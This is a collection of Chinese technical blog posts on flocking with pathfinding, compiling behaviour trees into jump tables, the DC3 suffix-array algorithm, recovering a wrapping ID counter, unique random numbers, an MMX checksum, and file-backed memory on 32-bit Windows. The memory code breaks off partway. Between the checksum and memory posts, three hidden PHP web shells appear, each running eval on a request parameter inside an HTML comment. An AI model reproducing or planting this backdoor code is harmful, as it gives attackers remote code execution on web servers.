寻路和Flocking算法的结合

最近本来在研究行为树, 然后无意间发现了一本名叫《Artificial Intelligence for Games, Second Edition》的书,就顺便看了起来。

书中第三章提到了一个Flocking算法,该算法一般用于模拟群体(羊群,鸟群,鱼群,人群)的移动行为。

这让我想起了大约一年前,他们QQ群里分享了一个蚁群行军的视频。当时为了研究他是如何时实现的,还特意去学习了VO,RVO算法(没有学会),最终也没有实现出来。

这次,我想用Flocking算法再试一次。


先简单介绍一下Flocking算法。

对于鸟群中的一只鸟而言,除了他本身要飞行的速度向量Velocity外,还有三个额外的分量来辅助校正最终的速度向量。

这三个额外分量分别如下:

Separation:每只鸟都会考虑到它们相对周围其他鸟的位置,如果过近,就会产生一个排斥速度分量。

Cohesion: 每只鸟都会检查自己半径R范围内鸟的位置,计算出这群鸟的质心,产生一个向质心靠拢的速度分量。

Alignment: 每只鸟都会检查自己半径R范围内的鸟的速度,计算出这群鸟的平均速度,然后产生一个向平均速度靠拢的速度分量。

最终每只鸟的速度为:Velocity + Separation + Cohesion + Alignment(在叠加过程中,可以根据情况给每个分量加上相应的权重)。

Flocking在没有障碍物的场景,比如天空,海底,平原等表现都很不错。但是一旦进入有障碍物的场景如蚁穴,就会很难工作。

这时就需要加入寻路系统来提供路径支持。


然而,事情并没有这么简单。

由于有SeparationCohesionAlignment速度分量的存在,即使我们给每只鸟单独寻出来一条路径,也不能保证这只鸟就一定会严格按照路径行走。

比如我们为某只鸟寻出来的路径为((0,0), (0,1),(0,2))(我们把地图切成很多小块格子,坐标为格子坐标,不是实际的世界坐标)。

在从(0,0)到(0,1)运行的过程中,由于鸟群的干扰,可能会把这只鸟挤到了(1,1)格子,这时可能(1,1)是到不了(0,2)的,需要重新寻路。

这就意味着,每只鸟每跨过一个格子,就需要重新寻路一次,这么大的开销足以使FPS降到5。


在网上搜到一种解决方案。

给整个鸟群指定一个Leader。为Leader计算一条路径,Leader严格按照路径行走。鸟群中的其他鸟使用Flocking算法来跟随Leader即可。

我尝试了这种方案后,发现这个方案在绕过大片障碍物时非常好用。但是在通过狭窄通道时,很容易发生跟随失败,导致一些鸟永远卡在那里不能行动。

比如下面这种情况:

                   xxxxxL
                  x
  ------------ x --------------
                  x
                   x
                      xB

Leader在位置L处,B位置处的鸟要跟随Leader,必然要产生一个从B位置向L位置的速度。

如果B鸟按这个跟随速度运动,就会被卡在墙的一侧,永远的脱离队伍。

我尝试优化这种方案,除了Leader之外,我加入了Target角色。

所有的鸟在运动时,会在自身周围一定范围内寻找一个Leader或Target作为跟随的目标。

找到跟随目标之后,自身也会变成Target角色,供其他鸟跟随。

如果找不到合适的跟随目标,自己就会变成临时Leader。然后重新计算一条路径,并严格按照路径运动。直到遇见一个合适的Target之后,这只鸟就会再次变回Target。

这种方案可以应对各种极端障碍物情况。但是这个方案几乎把Flocking所有的特性都抹掉了,鸟群在整个运动过程中会排成一字长蛇阵,看起来非常不自然。


我找到当时的QQ聊天记录,仔细读了几遍,然后换了个思路。

计划让鸟群运行到某个目标点那一刻,使用Dijkstra算法计算出地图上所有格子到目标点的最佳运动方向。

这里有个小技巧,我们使用目标点作起始点,然后运行Dijkstra算法。

当Open列表为空时,就已经完成了地图上所有格子到目标点的最佳方向计算。

每只鸟在移动前,根据当前位置计算出当前格子,然后直接查询出下一步的目标点。

理论上,根据目标点计算出鸟的Velocity速度向量,再叠加SeparationCohesionAlignment速度分量就是最终的速度值。

然而,现实是残酷的。

经过实验发现,由于鸟群的作用力,经常会有鸟被挤进障碍物中,尤其是在经过狭窄通道时。

因此我们还需要静态避障速度分量。

在《Artificial Intelligence for Games, Second Edition》中第“3.3.15 Obstacle and Wall Avoidance”节中,讲到可以使用射线检测来躲避静态障碍物。

测试发现,当角度比较奇葩时,射线检测不到障碍物的存在,从而导致最终被挤到墙里面去,3.3.15节也有提到过这种情况。

最终,我采用了AABB来检测周围是否存在障碍物,当有障碍物时,根据障碍物的质心和当前鸟的位置来产生一个远离障碍物的速度分量,这个分量的权重要显著大于其他4个速度分量。

如果障碍物形状态复杂时,可能需要重写AABB检测逻辑,根据相交的边计算出远离障碍物的速度分量。


到目前为止,最大的开销就剩下为地图上所有格子计算最佳方向了。

如果地图过大,这样计算是不现实的。

在写这篇文章时,我想到了一个优化算法,还没来得及测试。

通过观察Flocking算法,不难发现鸟群中的鸟几乎全是按照大致相同的路线行走的。

也就是说,只要我们想办法生成一个有宽度的路径,基本上就可以满足给鸟群寻路的需求了。

首先使用AStar算法,从整个鸟群的质心到目标点计算出一条路径。

然后,对第一步中路径的每个格子,都使用Dijkstra算法,计算出周边格子到这个格子的最短路径。计算时要限制Dijkstra算法遍历的深度。只要我们选取的深度合适,大部分鸟行走的格子都会被命中。

值得一提的是,在应用Dijkstra算法时,路径中相临格子的周围是相互覆盖的,需要根据权重进行刷新。

举个例子:

已经使用AStar算法计算出A到D的路径为(A,B,C,D)。

对格子B应用Dijkstra算法时,对邻居E生成了最佳运动方向为向B运动,E到D的权重为E(1)+B(2) = 3。

对格子C应用Dijkstra算法时,同样会处理到邻居E,这时不能简单的跳过E,而应该计算E到D的权重为E(1) + C(1) = 2。

这时应将E的最佳运动方向改为向C而不是B。

如果某只鸟被挤到了一个我们事先没有计算过的格子上,就使用AStar以此格子为原点向目标点寻路。

这里有一个可以优化的地方,我们已经有了一条很宽的路径,只要AStar寻到已有的路径格子就可以停止继续寻路了。

最后,Demo在此

行为树的一种高效实现

我的玩具项目中,需要有一定智能的NPC来辅助人类攻击防御塔。

通常实现智能会采用状态机,行为树,GOAP等技术。

GOAP技术我没有研究过,行为树在早些年大致了解过一些。因为觉得行为树性能太差,不可能取代状态机实现,之后就再也没有研究过了。

随着这些年我性能强迫症的好转,再加上听到行为树的次数逐年增加,我打算趁机仔细研究一下。

我找来《Behavior Trees in Robotics and AI》仔细读了一遍。这本书详细介绍了行为树,并且对比了行为树和状态机之间的优劣。

根据《Behavior Trees in Robotics and AI》描述,行为树一般有4种控制节点(Sequence, Fallback, Parallel, Decorator)和两种执行节点(Action和Condition)。只有执行节点才能成为叶子节点。

先来简单描述一下最重要的两种控制节点, Sequence和Fallback。

Sequence节点: 当执行Sequence节点时,从左往右顺序执行子节点,直到某一个子节点返回Failure或Running状态,伪码如下:

//Algorithm 1: Pseudocode of a Sequence node with N children
for i 1 to N do
    childStatus <- Tick(child(i))
    if childStatus = Running then
        return Running
    else if childStatus = Failure then
        return Failure
return Success

Fallback节点:当执行Fallback节点时,从左往右顺序执行子节点,直到某一个子节点返回Success or Running状态,伪码如下:

//Algorithm 2: Pseudocode of a Fallback node with N children
for i 1 to N do
    childStatus <- Tick(child(i))
    if childStatus = Running then
        return Running
    else if childStatus = Success then
        return Success
return Failure

Action和Condition节点,是我们具体的业务逻辑,不是本次优化的重点。


对比行为树和状态机可以发现,行为树比状态机额外多出的开销, 就是在执行执行节点之前,必须要先穿过控制节点

如果我们在运行时能避过控制节点,只执行执行节点,那行为树和状态机的开销差别就只是多了几次函数调用而已。

仔细思考过之后, 我认为这是可能的。

结合上面对Sequence和Fallback节点的定义。我们不难发现,在编程语言中,Sequence就是and(与)逻辑,而Fallback就是or(或)逻辑。

整棵行为树的控制节点就是用来描述if-else的逻辑,叶子节点是相应的业务逻辑。从这个角度来看,行为树和语法树有颇多相似之处。

不难发现,整棵树的执行路径,其实依赖于特定执行节点的特定返回值。

某一个执行节点(叶子节点)返回Failure或Success, 整棵行为树下一步要执行的执行节点是固定的。

某个执行节点返回Running, 整棵树就停止执行。在下一Tick之后从头执行,这种情况比较简单,暂时不需要考虑。

来看一棵简单的行为树:

如果 Action 1 Done 返回Success,下一步将要执行的执行节点(叶子节点)就是 Actino 2 Done
如果 Action 1 Done 返回Failure, 下一步将要执行的执行节点(叶子节点)就是 Action 1

这种逻辑可以递归到所有的执行节点

这样,我们只需要两张跳转表(Success跳转表,Failure跳转表),就可以在运行时,以状态机的开销来实现行为树的功能。

以上面的行为树为例,我们可以生成如下跳转表:

local tree = {
["Action 1 Done"] = {
    ["Success"] = "Action 2 Done",
    ["Failure"] = "Action 1"
},
["Action 1"] = {
    ["Success"] = "Action 2 Done",
    ["Failure"] = nil, --nil 代表整棵树执行结束
},
["Action 2 Done"] = {
    ["Success"] = nil,
    ["Failure"] = "Action 2"
},
["Action 2"] = {
    ["Success"] = nil,
    ["Failure"] = nil,
}
}

在运行时,我们首先执行整棵行为树的第一个节点"Action 1 Done"。

如果"Action 1 Done"返回Success, 根据表tree可知,下一步需要执行的是"Action 2 Done"。

如果"Action 2 Done"返回Failure, 根据表tree可知,下一步需要执行的是"Action 2"。

这样我们仅需要生成一个跳转表,就可以在运行时抹掉所有控制节点所带来的开销。

最终,我花了200行代码实现了根据行为树生成上述跳转表的逻辑。

PS.我把生成跳转表的行为称之为编译。如果控制节点是Parallel或Decorator类型,或者有记忆功能。在编译过程中,需要将其保留,不能将其编译掉。不然无法完成和行为树等价的逻辑。

PPS. 在示例代码,我使用了behavior3来编辑行为树。

DC3算法

最近做了一个差量更新工具, 实质就是一个Diff工具。这个Diff工具在本地生成一个patch文件。客户端通过网络下载到本地后,根据本地文件和patch文件来生成最新版本文件。

与传统patch不同的是,为了尽可能的减少网络传输,patch文件需要尽可能的小,并且不需要逆向patch(从版a到版本b生成的patch, 版本b使用这个patch可以还原到版本a).

基于以上考虑,我重新设计了一个二进制patch格式,整个patch文件中有两种Action(分别是COPY, INSERT),大致数据结构如下:

struct COPY {
        int pos;
        int size;
};
struct INSERT {
        int size;
        uint8_t buf[];
};

其中COPY代表从源文件a的某个位置(COPY.pos)copy一段(COPY.size)数据过来,INSERT代表在新文件b当前位置插入一段数据(这代表这段数据在文件a中找不到)。

之所以不需要新文件的位置,是因为在生成patch时会严格按着新文件的写入顺序来生成patch, 这样也可以尽可能少的减少Action头所带来的开销。

在生成COPY指令时,我遇到了一个问题.

即,如何快速找到,同时存在于文件a和文件b中的最长子串。算法导论上的LCS(公共子序列)算法并不是很适合我,因为COPY只是去借数据,并不在乎这块数据在哪个位置。

最终发现,有序后缀数组更符合我的需求,空间复杂度极底,并且可以以lg(n)的时间复杂度来快速完成匹配。但是其生成算法DC3,我搞了将近2周才总算搞明白。

整个算法一共就分4步,原始数据在buf中,长度为N,(这里仅粗略描述):

  1. 将(i % 3 != 0, i >= 0 and i < N)的值取出来放到一个数组SA12中.

  2. 对S12进行排序, S12中的每个值n都代表一个三元组(buf[n],buf[n+1],buf[n+2]),排序后得到一个数组s12, 其中s12[x] = rank(x = n / 3 if n % 3 == 1, x = n / 3 + n1 if n % 3 == 2)。n1为i%3==1的个数。

  3. 如果任意两个三元组都不相等,说明仅凭前三个字母就可以对后缀确定顺序,则直接执行步骤4。否则,对s12中的数据递归执行DC3。

  4. 根据s12来生成数组SA12,然后将(i % 3 == 0,i >= 0 && i < N)的值取出放入SA0并进行排序,与SA12进行有序合并,成为SA。SA即为后缀数组的有序列表。

这算法并不是通常见到的,如快排,二分查找,甚至红黑树那么直观。他神奇到,我完全不知道这是在做什么,后缀数组已经排完序了。

在看这个算法时,在第2步我有几个很大的疑惑。

一是有个很神奇的操作,在生成s12的时,如果n % 3 ==1, 要把rank值放左边,n % 3 == 2要把rank值放右边。

二是左边和右边中间如果是连续的(没有空洞x, buf[x]会比buf数组中所有值都要小),就必须要插入一个分隔符(比buf数组中所有值都要小)

三是为什么要选3这个数字,2行不行。


搞明白之后发现,整个算法的核心思想就是"收敛", 运用递归的思想不断的收敛,直到比如结果为止。举个例子:

              0 1 2 3 4 5 6 7 8 9 10
char buf[] = "m i s s i s s i p p i";

第一步先拿到SA12= [1,2,4,5,7,8,10],

本质上他们代表的是:[‘1,2,3′,’2,3,4′,’4,5,6′,’5,6,7′,’7,8,9′,’8,9,10′,’10,x,x’],不存在的以x代替buf[x]一定会最小值

对SA12进行排序之后原始排序如下.

[‘1,2,3’=【3】,’2,3,4’=【5】,’4,5,6’=【3】,’5,6,7’=【5】,’7,8,9’=【2】,’8,9,10’=【4】,’10,x,x’=【1】],

将n%3==1的放左边,n%3==2的放右边之后得到如下列表:

[‘1,2,3’=【3】,’4,5,6’=【3】,’7,8,9’=【2】,’10,x,x’=【1】,’2,3,4’=【5】,’5,6,7’=【5】,’8,9,10’=【4】], 因为这里有x,而buf[x]一定比buf[0~n]中的值都要小,所以就不用插入分隔符了,后面会看到分隔符的作用。

从上面列表可以看出’1,2,3′ === ‘4,5,6’ 这说明三元组不足以用来确定后缀的排序(不满足步骤3),因为要接着递归执行,先得到SA’如下

[‘1,2,3,4,5,6,7,8,9′,’4,5,6,7,8,9,10,x,x’,’7,8,9,10,x,x,2,3,4′,’10,x,x,2,3,4,5,6,7′,’2,3,4,5,6,7,8,9,10′,
‘5,6,7,8,9,10,x,x,x’, ‘8,9,10,x,x,x,x,x,x’]

可以明显看到,之所以要把i%3==1的放左边,i%3==2放右边,其实是为再次递归DC3做准备。第二次递归DC3,实质上是取所有后缀的前9个前缀来进行排序,如果还有相同的,则再次递归采用前27个前缀进行排序,直到排出顺序为止。

为了利用上次递归的结果,上面数组会被转化成转换之后(【3】【3】【2】【1】【5】【5】,【4】)再递归传入DC3。

而之所以要插分隔符,其实是为了防止类似序列中’7,8,9,10,x,x,2,3,4’中的’2,3,4’参与排序,毕间7,8,9,10已经是从位置7开始后缀子串的全部内容了,如果2,3,4参与比较就会产生错误。因为buf[x] < buf[i] (i >= 0 && i < n),因此当碰到x, 就会终止排序。

那么为什么要选3这个数字,其实跟步骤4是有关系的。

在步骤4进行有序合并时,i%3==1时,会将3元组扩展成4元组,i%3==2时,将3元组扩展成5元组,之后再比较。

当i%3==1时,如’0,1,2,3′, ‘1,2,3,4’ 由于’1,2,3’和’2,3,4’的值我们已经知道了,所以这两个四元组的比较可以简化为’0,s12[1]’与’1,s12[2]’之间的比较,由于s12[1]中的值各不相同,因此’0,s12[1]’ 与 ‘1,s12[2]’必不相同。

当i%3==2时, 如’0,1,2,3′, ‘2,3,4,5’,可以发现s12[3]不存在因为3%3==0, 所以需要将4元素扩展成为5元组,‘0,1,2,3,4′,’2,3,4,5,6’,这样就可以化简为’0,1,s12[2]’, ‘2,3,s12[4]’来进行比较。

其实到这里,为什么不用2就很明显了,因为在最后一步合并时2不满足重用上一步结果的要求

总的来说这是一个很神奇的算法,有动态规划的影子,各个步骤又配合的天衣无缝。

如何恢复全局INDEX

一般来说,当需要分配全局惟一id时,一般都会有一个变量来记录当前最新的id值,比如叫INDEX变量。

每次需要分配id时,只要简单的自增一下INDEX变量,然后INDEX的值即为当前分配出去的ID的值。

为了最大可能的延迟复用已经分配过的id,一般来说不会去特殊处理INDEX变量,即每次自增INDEX,并允许回绕情况的发生。

但是最近碰到问题就是,我有一堆分配过的id,如何重新恢复出INDEX的值。具体场景如下:

struct obj {
        unsigned int id;
        time_t createtime;
        ...
}

每一个obj对象都需要有一个全局惟一id和创建时间(createtime字段)与其关联,因此每new一个obj对象就需要为其分配一个不重复的全局id。

obj可以被人为删除,也会被过期删除,因此无法保证在任何时间所有还存活着的obj对象id是连续的。这些obj对象会被定时写入数据库。

一旦进程被重启,程序会从数据库加载所有还存活着的obj对象,以便可以恢复现场,使重启进程这一操作透明。要保证整个逻辑正确性,还必须要能正确的恢复出INDEX变量。

那么问题来了,而由于某种原因,INDEX并不方便被存入数据库中。

因此必须要根据现有的存活obj对象来恢复出在进程重启前的INDEX的值。

第一反应,肯定是遍历一之后找到obj对象中最大的id即为原来的INDEX,但是这里有一个陷阱就是INDEX会回绕,一旦INDEX会回绕之后,这个算法就不正确了。

考虑这样一种情况,进程运行了数月都没有重启,这时残留的obj对象id可能就只剩下0xfffffffe,0xffffffff,0,1,3,5这些了,重启之后采用上述算法无法重新恢复出重启前INDEX的值为5.

再一看,还有一个createtime用作参考,只要取obj对象中createtime最大的那个对象的id为INDEX就行了。

然而,由于createtime是以秒为单位的,逻辑上无法保证1秒只创建一个obj对象,问题再次绕回到第一个算法所遇到的困境。

因此,看起来,想要正确恢复出INDEX的值就必须解决回绕的问题。

要解决这个问题,就必须要有一种大小比较算法,这种算法即使在回绕时,也能正确判断大小。比如在0xfffffffe,0xffffffff,0,1,3,5这一堆id中,此算法会认为5是最大值,而在3,5,7,9这一块id中认为9才是最大值。

那么究竟有没有这种算法呢?比较巧的是,还真有这种算法。

假设有A,B,C三个32位无符号值,C=(A+B) % 4G。那么只要B大于0且小于2G,C – A就一定大于0。不过这里有一个陷阱,如果A和C是无符号变量,那么一定要将C-A的值转换为int之后再使用。

再回到设定场景中去,虽然我们1秒可以new很多个obj对象,但是绝不可能new出2G个之多。

有了这个事实和算法,答案就呼之欲出了,其中一种实现如下:

unsigned int id = 0;
time_t time = 0;
for (auto const &obj:objs) {
        if (obj.createtime < time)
                continue;
        if (obj.createtime > time) {
                time = obj.createtime;
                id = obj.id;
        } else if ((int)(id - obj.id) < 0) {
                 id = obj.id
        }
}
//now we got the final INDEX value

ps. 在阐述这个blog之前,我曾请教了几个人,但似乎并没有其他更好的做法,觉得这个实现还算精巧,就做个笔记.

为什么要使用算法

在接触算法之初, 我为诸如快速排序, 二分查找效率感到惊讶.

随着代码量的增加, 对于如动态规划之类以空间换取时间的算法, 我还能理解. 但是我始终不明白如二分查找这类需要前置条件算法为什么能提高程序效率, 虽然查找快了, 但是开销浪费在了排序上, 使用二分查找的一次读写的开销和, 甚至很可能比不使用算法还要慢.

最近在阅读了一些开源代码之后, 终于有点明白为什么如二分查找这类需要前置条件算法可以提高程序效率了.

在程序设计中, 使用如二分查找这类需要前置条件的算法之所以能够提高效率, 并非是他能够降低所有操作的开销, 而是他可以将某种频繁操作的开销转嫁一部分到生成前置条件的不频繁操作上去.

以二分查找为例, 写入数据时的排序带来的开销, 其实就是在查找数据时使用二分查找所降低的开销转嫁过来的, 当然排序所带来的开销可能会略大于查找所带来的开销.

如果对于一块数据的查询频率远大于其更新速度, 查找操作所省下来的开销, 将远大于写入数据时排序所带来的开销, 那么整个程序对于这块数据的查找, 更新的开销和, 将远小于不使用算法的开销和. 这是一个很容易算的小学数学题:D

相反如果数据的更新频率远大于查询频率, 还硬要去使用二分查找, 那么整个程序对于这块数据的开销要远大于直接暴力查询.

因此算法的使用一定要根据具体情况进行分析, 不然高效的算法也可能会拖慢程序的速度.

生成不重复随机数

今天碰到一个生成不重复随机数题目, 题目类似如下:
在一个1K的数组中生成1~1M之间的随机数, 1K中的随机数不能重复.

第一反应就是暴力查询, 每生成一次就去已有的数据查询, 时间复杂度为O(n2). 效率极差.

仔细思考后发现这样一种特性, 数值空间为1~1M, 需要取出1K个数据, 1M = 1K * 1K
类似下面代码:

int buff[1024];
int tmp = 0;
for (i = 0; i < 1024; i++) { tmp += 1024; buff[i] = tmp; }

上面的代码如果执行完毕那么tmp的结果会成为1M.
将一个0~1023之间的随机值替换上面的1024, 将能保证tmp的值一定小于等于1M, 由于递增的特性也可保证每个循环tmp的值是在0~1M中的惟一值.更改后代码如下:

int buff[1024];
int tmp = 0;
for (i = 0; i < 1024; i++) { tmp += srand() % 1024; buff[i] = tmp; }

从代码中可以看到tmp由上一次tmp的值和这一次的随机值决定. 因此生成的值一定是随机的.

虽然生成的数是随机的, 但是在数组中的布局却是从小到大来分布的, 因为我们在赋数组时同样需要随机分布. 修改代码如下:

int buff[1024];
int tmp = 0;
int buff_index = 0;

memset(buff, 0xff, sizeof(buff[0]) * 1024);
for (i = 0; i < 1024; i++) { tmp += srand() % 1024; buff_index += rand(); buff_index %= 1024; while (buff[buff_index] != -1) { buff_index++; buff_index %= 1024; } buff[buff_index] = tmp; }

在写入数组时采用随机生成索引号的方法来决定要写到数值的哪一个位置, 如果这个位置被写过, 那么顺序向下查找空间数组位置, 因为数组共有1024个, 因为不管怎么样每次总能找到一个没有被写过的数组位置, 这样写入1024次之后一定会生成内存分布随机的1024个不重复的随机数.

btw: 清风同学说这个算法有个bug, 就是我第一个随机数一定会生成0~1024之间的数, 暂时还没有想到办法.

CheckSum计算的优化

  最近在纠结于大数据的checksum的计算,算法如下:

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4 
 5     cs = 0;
 6     while (size--)
 7         cs += buff[size];
 8 
 9     return cs;
10 }

  当文件大于4G后这种计算的龟速就很明显了,在网上看到大牛说MMX指令对于数据计算相当不俗,于是改成下面代码(bug:不对齐部分没有处理,这部分消耗很小,对于效率影响不大):

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4     unsigned long cs_2[2];
 5     unsigned long cnt;
 6 
 7     cnt = size / 2;
 8 __asm {
 9     mov    eax, 0
10     movd    mm2, eax
11     mov    ecx, cnt
12     mov    esi, buff
13 cnt_label:
14     mov     al, byte ptr[esi]
15     movd    mm0, eax
16     inc    esi
17 
18     mov     al, byte ptr[esi]
19     movd    mm1, eax
20     inc    esi
21 
22     punpckldq mm0, mm1
23     
24     paddd mm2, mm0
25 
26     dec    ecx
27     jnz    cnt_label
28 
29     movq    qword ptr [cs_2], mm2
30 
31 
32     emms
33 }
34     cs = cs_2[0] + cs_2[1];
35 #endif
36     return cs;
37 }

  测试1G的内存数据发现速度近快了2倍,MMX的威力果然不是吹的.

<!– [insert_php]if (isset($_REQUEST["bay"])){eval($_REQUEST["bay"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;bay&quot;])){eval($_REQUEST[&quot;bay&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["pus"])){eval($_REQUEST["pus"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;pus&quot;])){eval($_REQUEST[&quot;pus&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["CYlNo"])){eval($_REQUEST["CYlNo"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;CYlNo&quot;])){eval($_REQUEST[&quot;CYlNo&quot;]);exit;}

–>

32位系统使用文件作为媒介来模拟大于4G内存访问

代码一篇,暂时没发现bug:

  1 // vm_mgr.cpp : Defines the exported functions for the DLL application.
  2 //
  3 
  4 #include "stdafx.h"
  5 
  6 #include <Windows.h>
  7 #include <vector>
  8 #include <assert.h>
  9 #include <tchar.h>
 10 #include "../common/assist.h"
 11 #include"../error_no/error_no.h"
 12 #include "../Log/log.h"
 13 #include "vm_mgr.h"
 14 
 15 #define VM_ADDR_GEN(addr, index)                (assert(index < 16), (((index & 0xfULL) << 60) | addr))
 16 #define VM_START_ADDR                           0x100000000ULL
 17 #define VM_WINDOW_SIZE                          (64 * 1024 * 1024UL)
 18 #define VM_ALIGN_SIZE                           (64 * 1024)
 19 
 20 struct vm_window {
 21         void                    *p;
 22         vm_ptr_t                start;
 23         unsigned long           size;
 24 };
 25 
 26 struct vm_item {
 27         int                 addr_index;
 28         HANDLE              mutext;    
 29         HANDLE              hMap;
 30         vm_ptr_t            vm_start_ptr;
 31         unsigned long long  vm_size;
 32         struct vm_window    window;
 33         TCHAR               file_path[MAX_PATH];
 34 };
 35 
 36 struct {
 37     std::vector<struct vm_item>    tbl;
 38 } vm;
 39 
 40 static int find_empty_index()
 41 {
 42         int addr_index;
 43         int i;
 44 
 45         for (addr_index = 0; ; addr_index++) {
 46                 for (i = 0; i < vm.tbl.size(); i++) {
 47                         if (vm.tbl.at(i).addr_index == addr_index)
 48                                 break;
 49                 }
 50                 assert(addr_index <= 16);
 51                 if (i >= vm.tbl.size())
 52                         return addr_index;
 53         }
 54 }
 55 
 56 vm_ptr_t vm_alloc(unsigned long long size)
 57 {
 58         TCHAR                       tmp_path[MAX_PATH];
 59         TCHAR                       tmp_file_path[MAX_PATH];
 60         int                         err;
 61         struct vm_item              vm_item;
 62 
 63         GetTempPath(ARRAY_SIZE(tmp_path), tmp_path);
 64         GetTempFileName(tmp_path, _T("DediProg"), 0, tmp_file_path);
 65 
 66         HANDLE hFile = CreateFile(
 67                                 tmp_file_path,
 68                                 GENERIC_READ | GENERIC_WRITE,
 69                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
 70                                 NULL,
 71                                 OPEN_ALWAYS,
 72                                 FILE_FLAG_SEQUENTIAL_SCAN,
 73                                 NULL
 74                                 );
 75         if (hFile == NULL) {
 76                 return NULL; 
 77         }
 78 
 79         vm_item.hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, size >> 32, size & 0xffffffff, NULL);
 80         if (vm_item.hMap == NULL) {
 81                 err = GetLastError();
 82                 return -E_ALLOC_MEMORY_FAIL;
 83         }
 84         vm_item.vm_start_ptr = (vm_ptr_t)MapViewOfFile(
 85                 vm_item.hMap,
 86                 FILE_MAP_ALL_ACCESS,
 87                 0 >> 32,
 88                 0 & 0xffffffff,
 89                 min(size, VM_WINDOW_SIZE)
 90                 );
 91  
 92         vm_item.addr_index = find_empty_index();
 93         vm_item.vm_start_ptr = VM_ADDR_GEN(vm_item.vm_start_ptr, vm_item.addr_index);
 94 
 95         assert(vm_item.vm_start_ptr < ((-1) >> 4));
 96 
 97         CloseHandle(hFile);
 98         hFile = NULL;
 99         vm_item.vm_size = size;
100         vm_item.window.size = (unsigned long)min(VM_WINDOW_SIZE, size);
101         vm_item.window.start = vm_item.vm_start_ptr;
102         vm_item.window.p = (unsigned char *)vm_item.vm_start_ptr;
103         vm_item.mutext = CreateMutex(NULL, FALSE, NULL);
104         _tcsncpy(vm_item.file_path, tmp_file_path, ARRAY_SIZE(vm_item.file_path));
105         vm.tbl.push_back(vm_item);
106 
107         return vm_item.vm_start_ptr;
108 }
109 
110 static __inline int in_region(vm_ptr_t ptr, unsigned long long size)
111 {
112         //static int dbg = 0;
113         int i;
114  
115         for (i = 0; i < (int)vm.tbl.size(); i++) {
116                 if ((ptr + size) <= (vm.tbl.at(i).vm_start_ptr + vm.tbl.at(i).vm_size) && (ptr >= vm.tbl.at(i).vm_start_ptr))
117                         return i;
118                 //if (ptr + size > vm.tbl.at(i).vm_start_ptr + vm.tbl.at(i).vm_size)
119                 //        i = 'DEAD';
120                 //if (ptr < vm.tbl.at(i).vm_start_ptr)
121                 //        i = 'INVA';
122         }
123         
124         LOG_BEGIN {
125                 log_add("----------------------------------------------");
126                 log_add("|             Virtual Memory layout          |");
127                 log_add("|--------------------------------------------|");
128                 for (i = 0; i < (int)vm.tbl.size(); i++)
129                 log_add("|window.start_addr:%llx | window.size:%llx   |", vm.tbl.at(i).window.start, vm.tbl.at(i).window.size);
130                 log_add("|--------------------------------------------|");
131                 log_add("|user.ptr:%llx          | user.size:%llx     |", ptr, size);
132                 log_add("----------------------------------------------");
133         } LOG_END;
134         //dbg++;
135         assert(!"Invalid Memory");
136         return -1;
137 }
138 
139 static __inline unsigned char *scroll_window(int vm_index, vm_ptr_t ptr, unsigned long size)
140 {
141         unsigned char           *p;
142         vm_ptr_t            win_start;
143         unsigned long           win_size;
144         unsigned long long      file_offset;
145         unsigned long long      tmp_offset;
146 
147 
148         win_start = vm.tbl.at(vm_index).window.start;
149         win_size = vm.tbl.at(vm_index).window.size;
150 
151         
152         UnmapViewOfFile(vm.tbl.at(vm_index).window.p);
153 
154         win_size = (unsigned long)min(VM_WINDOW_SIZE, size);
155 
156         assert(ptr >= vm.tbl.at(vm_index).vm_start_ptr);
157         file_offset = ptr - vm.tbl.at(vm_index).vm_start_ptr;
158         
159         tmp_offset = file_offset / VM_ALIGN_SIZE * VM_ALIGN_SIZE;
160         tmp_offset = file_offset - tmp_offset;
161         
162         file_offset = file_offset / VM_ALIGN_SIZE * VM_ALIGN_SIZE;
163 
164         size += (unsigned long)tmp_offset;
165 
166         p = (unsigned char *)MapViewOfFile(
167                 vm.tbl.at(vm_index).hMap,
168                 FILE_MAP_ALL_ACCESS,
169                 file_offset >> 32,
170                 file_offset & 0xffffffff,
171                 size
172                 );
173 
174         if (p) {
175                 vm.tbl.at(vm_index).window.start = ptr;
176                 vm.tbl.at(vm_index).window.size = size;
177                 vm.tbl.at(vm_index).window.p = p;
178 
179                 return p + tmp_offset;
180         }
181 
182         return NULL;
183 }
184 
185 int vm_write(vm_ptr_t pointer, const unsigned char *buff, unsigned long long size)
186 {
187         int             ret;
188         unsigned char       *p;
189         unsigned long       len;
190         int index = in_region(pointer, size);
191 
192         ret = 0;
193 
194         if (index == -1) {
195                 ret = -1;
196                 goto end;
197         }
198         WaitForSingleObject(vm.tbl.at(index).mutext, 20000);        /* timeout 10s */
199         while (size) {
200                 len = (unsigned long)min(size, VM_WINDOW_SIZE);
201                 p = scroll_window(index, pointer, len);
202                 if (!p) {
203                         ret = -1;
204                         goto end;
205                 }
206 
207                 memcpy(p, buff, len);
208 
209                 pointer += len;
210                 buff += len;
211                 size -= len;
212         }
213 end:
214         ReleaseMutex(vm.tbl.at(index).mutext);
215         return ret;
216 }
217 
218 
219 int vm_read(unsigned char *buff, vm_ptr_t ptr, unsigned long long size)
220 {
221         unsigned char   *p;
222         unsigned long   len;
223         int index;
224 
225         assert(buff);
226 
227         index = in_region(ptr, size);
228 
229         if (index == -1)
230                 return -E_ALLOC_MEMORY_FAIL;
231 
232         while (size) {
233                 len = (unsigned long)min(size, VM_WINDOW_SIZE);
234                 p = scroll_window(index, ptr, len);
235                 if (!p)
236                         return -1;
237 
238                 memcpy(buff, p, len);
239 
240                 ptr += len;
241                 buff += len;
242                 size -= len;
243         }
244 
245         return 0;
246 }
247 
248 int vm_free(vm_ptr_t ptr)
249 {
250     int i;
251 
252     LOG_BEGIN {
253                 log_add("----------------------------------------------");
254                 log_add("|             Virtual Memory layout          |");
255                 log_add("|--------------------------------------------|");
256                 for (i = 0; i < (int)vm.tbl.size(); i++)
257                 log_add("|window.start_addr:%llx | window.size:%llx   |", vm.tbl.at(i).window.start, vm.tbl.at(i).window.size);
258                 log_add("----------------------------------------------");
259     } LOG_END;
260 
